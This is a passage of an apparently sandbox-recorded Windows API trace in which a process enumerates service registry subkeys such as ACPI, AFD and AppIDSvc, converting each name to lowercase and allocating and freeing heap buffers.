Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4408, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.498] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.499] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.500] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.501] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.502] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.503] 